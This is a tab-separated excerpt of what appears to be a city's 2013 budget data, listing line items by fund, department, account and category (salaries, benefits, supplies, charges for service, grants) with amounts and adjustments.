2179	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	540590.0	EMPLOYEE RECOGNITION & APPRECI	812.0	 Supplies and Expenses	2013	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
2180	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2013	400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400.0
2181	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2182	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2013	507526.6	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	507526.6
2183	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402670.0	FUTURE REPLACEMENT-CNG FACILIT	650.0	Charges for Service	2013	-100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100000.0
2184	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402690.0	CNG FUEL-DEPT USAGE	650.0	Charges for Service	2013	-245000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-245000.0
2185	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405750.0	VEHICLE MAINTENANCE	650.0	Charges for Service	2013	-5442406.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5442406.0
2186	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401680.0	UNDERGROUND TANK PERMITS	612.0	Charges for Service	2013	-34000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-34000.0
2187	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400773.0	JONATHAN CLUB-IMPROVEMENTS	618.0	Rentals	2013	-75000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-75000.0
2188	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	403980.0	DOE ARRA EECB GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-525.0	0	0	0.0	-525.0
2189	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2013	-1350000.0	0	0.0	0.0	0	0	0.0	0	0.0	1350000	0	0.0	0.0
2190	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2191	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533690.0	CONF / MTGS / TRAVEL -	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2192	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	401110.0	TRAFFIC ACCIDENT HAZ MAT CLEAN	612.0	Charges for Service	2013	-5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-5000.0
2193	B1	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	404320.0	PARAMEDIC SKILLED NURSING FEE	612.0	Charges for Service	2013	-3000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3000.0
2194	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	566290.0	PROGRAMS & SPECIAL EVENTS	812.0	 Supplies and Expenses	2013	2285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2285.0
2195	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2013	2940.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2940.0
2196	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407692.0	TAXI VEHICLE PERMIT FEES	612.0	Charges for Service	2013	-33600.0	0	0.0	0.0	0	0	0.0	0	0.0	78000	0	-44400.0	0.0
2197	B1	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2013	660.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	660.0
2198	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511730.0	WORKERS' COMP INSURANCE		Salaries and Wages	2013	13117.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13117.0
2199	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2013	1036.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1046.0
2200	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DCAP		Salaries and Wages	2013	420.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	408.0
2201	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	544340.0	INDIRECT COST ALLOCATION		 Supplies and Expenses	2013	183932.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	183932.0
2202	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		LIFE INSURANCE & AD & D		Salaries and Wages	2013	535.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	535.0
2203	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		AMORT/ACCRET	659.0	Investment Income	2013	-54487.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-54487.0
2204	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511749.0	VISION	808.0	Salaries and Wages	2013	3827.0	0	0.0	-7.0	0	0	0.0	0	0.0	0	0	0.0	3820.0
2205	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		EAP	808.0	Salaries and Wages	2013	2919.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	2915.0
2206	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2013	450000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	450000.0
2207	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544180.0	SMALL TOOLS	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
2208	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	204.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	204.0
2209	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	350.0
2210	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137.0
2211	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	163151.0	0	0.0	0.0	0	0	0.0	1632	0.0	0	0	0.0	164783.0
2212	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	2243.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2243.0
2213	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
2214	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5214.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5214.0
2215	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	4900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4900.0
2216	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	1079.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1079.0
2217	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
2218	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	4528.0	0	0.0	0.0	0	0	0.0	45	0.0	0	0	0.0	4573.0
2219	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	412.0	0	0.0	0.0	0	0	0.0	4	0.0	0	0	0.0	416.0
2220	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
2221	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	74627.0	0	0.0	0.0	0	0	0.0	746	0.0	0	0	0.0	75373.0
2222	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	1122.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1122.0
2223	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2224	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2225	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	111601.0	0	0.0	0.0	0	0	0.0	0	0.0	-111601	0	0.0	0.0
2226	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	13867.0	0	0.0	0.0	0	0	0.0	0	0.0	-13867	0	0.0	0.0
2227	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2013	56903.0	0	0.0	0.0	0	0	0.0	0	0.0	-56903	0	0.0	0.0
2228	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	-1200	0	0.0	0.0
2229	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	405875.0	HOMEWORK CLUB	612.0	Charges for Service	2013	-32550.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32550.0
2230	B1	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	555010.0	CONTRACTUAL SERVICES	806.0	 Supplies and Expenses	2013	270925.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	270925.0
2231	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402140.0	AIRPORT - TIE DOWN CHARGES	650.0	Charges for Service	2013	-151308.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-151308.0
2232	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402162.0	FILMING RECEIPTS	662.0	Other	2013	-12650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-12650.0
2233	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	713859.0	0	0.0	0.0	0	0	0.0	-5725	0.0	0	0	0.0	708134.0
2234	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511490.0	OVERTIME		Salaries and Wages	2013	2008.0	0	0.0	0.0	0	0	0.0	20	0.0	0	0	0.0	2028.0
2235	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511748.0	DENTAL		Salaries and Wages	2013	6849.0	0	0.0	0.0	0	0	0.0	-111	0.0	0	0	0.0	6738.0
2236	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511749.0	VISION		Salaries and Wages	2013	1095.0	0	0.0	0.0	0	0	0.0	-3	0.0	0	0	0.0	1092.0
2237	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522320.0	METERED POSTAGE		 Supplies and Expenses	2013	5508.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5508.0
2238	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2013	2888.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2888.0
2239	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	49709.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	49709.0
2240	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	20673.0	0	0.0	-943.0	0	0	0.0	197	0.0	0	0	0.0	19927.0
2241	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2013	16309.0	0	0.0	-1122.0	0	0	0.0	0	0.0	0	0	0.0	15187.0
2242	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522720.0	MILEAGE	804.0	 Supplies and Expenses	2013	890.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	890.0
2243	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555121.0	ASSFC PASS-THRU		 Supplies and Expenses	2013	200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200000.0
2244	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	20650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20650.0
2245	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
2246	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522825.0	FOOD PURCHASES	848.0	 Supplies and Expenses	2013	1410.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1410.0
2247	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522825.0	FOOD PURCHASES		 Supplies and Expenses	2013	1530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1530.0
2248	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2013	24038.0	0	0.0	0.0	0	0	0.0	240	0.0	0	0	0.0	24278.0
2249	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DCAP	808.0	Salaries and Wages	2013	1080.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1080.0
2250	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2013	510.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	510.0
2251	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	556010.0	UTILITY CONTRACTS	804.0	 Supplies and Expenses	2013	273166.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	273166.0
2252	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	407950.0	TRAINING GREEN BUILDING	612.0	Charges for Service	2013	-1020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1020.0
2253	B1	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2013	11366.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11366.0
2254	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2013	1657805.0	0	0.0	0.0	0	0	0.0	16578	0.0	0	0	0.0	1674383.0
2255	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511749.0	VISION	808.0	Salaries and Wages	2013	2054.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2054.0
2256	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		EAP	808.0	Salaries and Wages	2013	1566.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1566.0
2257	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	12422.0	0	0.0	0.0	0	0	0.0	124	0.0	0	0	0.0	12546.0
2258	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2259	B1	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	10189.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10189.0
2260	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2013	303998.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	303998.0
2261	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	78365.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	78365.0
2262	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	411.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	411.0
2263	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1855.0	0	0.0	0.0	0	0	0.0	19	0.0	0	0	0.0	1874.0
2264	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	10364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10364.0
2265	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	683193.0	0	0.0	0.0	0	0	0.0	6832	0.0	0	0	0.0	690025.0
2266	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	1780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1780.0
2267	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	34682.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	34682.0
2268	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	24223.0	0	0.0	0.0	0	0	0.0	242	0.0	0	0	0.0	24465.0
2269	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	631.0	0	0.0	0.0	0	0	0.0	6	0.0	0	0	0.0	637.0
2270	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
2271	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2013	541850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	541850.0
2272	B1	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2013	1368.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1368.0
2273	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	1350.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1350.0
2274	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	9971.0	0	0.0	0.0	0	0	0.0	100	0.0	0	0	0.0	10071.0
2275	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406802.0	09 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-81509.0	0	0	0.0	0	0.0	0	0	0.0	-81509.0
2276	B1	IS	20	Miscellaneous Grants Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	578835.0	JAG 2010	806.0	 Supplies and Expenses	2013	7360.0	0	0.0	11.0	0	0	0.0	0	0.0	0	0	0.0	7371.0
2277	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	816.0	 Supplies and Expenses	2013	3300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3300.0
2278	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2013	27628.0	0	0.0	0.0	0	0	0.0	276	0.0	0	0	0.0	27904.0
2279	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	5393.0	0	0.0	-228.0	0	0	0.0	52	0.0	0	0	0.0	5217.0
2280	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	10390.0	0	0.0	-38.0	0	0	0.0	0	0.0	0	0	0.0	10352.0
2281	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	244864.0	0	0.0	0.0	0	0	0.0	2449	0.0	0	0	0.0	247313.0
2282	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2013	6914.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6914.0
2283	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EAP		Salaries and Wages	2013	413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	413.0
2284	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2013	2031.0	0	0.0	0.0	0	0	0.0	20	0.0	0	0	0.0	2051.0
2285	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
2286	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO		 Supplies and Expenses	2013	1944.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1944.0
2287	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNREALIZED GAIN / LOSS	659.0	Investment Income	2013	69742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	69742.0
2288	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	402700.0	REGULAR FUEL-DEPT USAGE	650.0	Charges for Service	2013	-450000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-450000.0
2289	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	405760.0	ENHANCEMENT PURCHASES	650.0	Charges for Service	2013	-105000.0	0	0.0	0.0	0	0	0.0	0	0.0	-1047	0	0.0	-106047.0
2290	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		DCAP	808.0	Salaries and Wages	2013	2004.0	0	0.0	-12.0	0	0	0.0	0	0.0	0	0	0.0	1992.0
2291	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2013	79275.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	79275.0
2292	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2013	12024.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12024.0
2293	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EAP		Salaries and Wages	2013	626.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	626.0
2294	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT		 Supplies and Expenses	2013	5638.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5638.0
2295	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	16700	0	0.0	16700.0
2296	B1	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408170.0	HUD COMMUNITY CHALLENGE GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	0.0	0	0	0.0	0	-370069.17	0	0	0.0	-370069.17
2297	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2013	379816.0	0	0.0	-954.0	0	0	0.0	3789	0.0	0	0	0.0	382651.0
2298	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		UNEMPLOYMENT	808.0	Salaries and Wages	2013	9836.0	0	0.0	-80.0	0	0	0.0	98	0.0	0	0	0.0	9854.0
2299	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	3873.0	0	0.0	75.0	0	0	0.0	0	0.0	0	0	0.0	3948.0
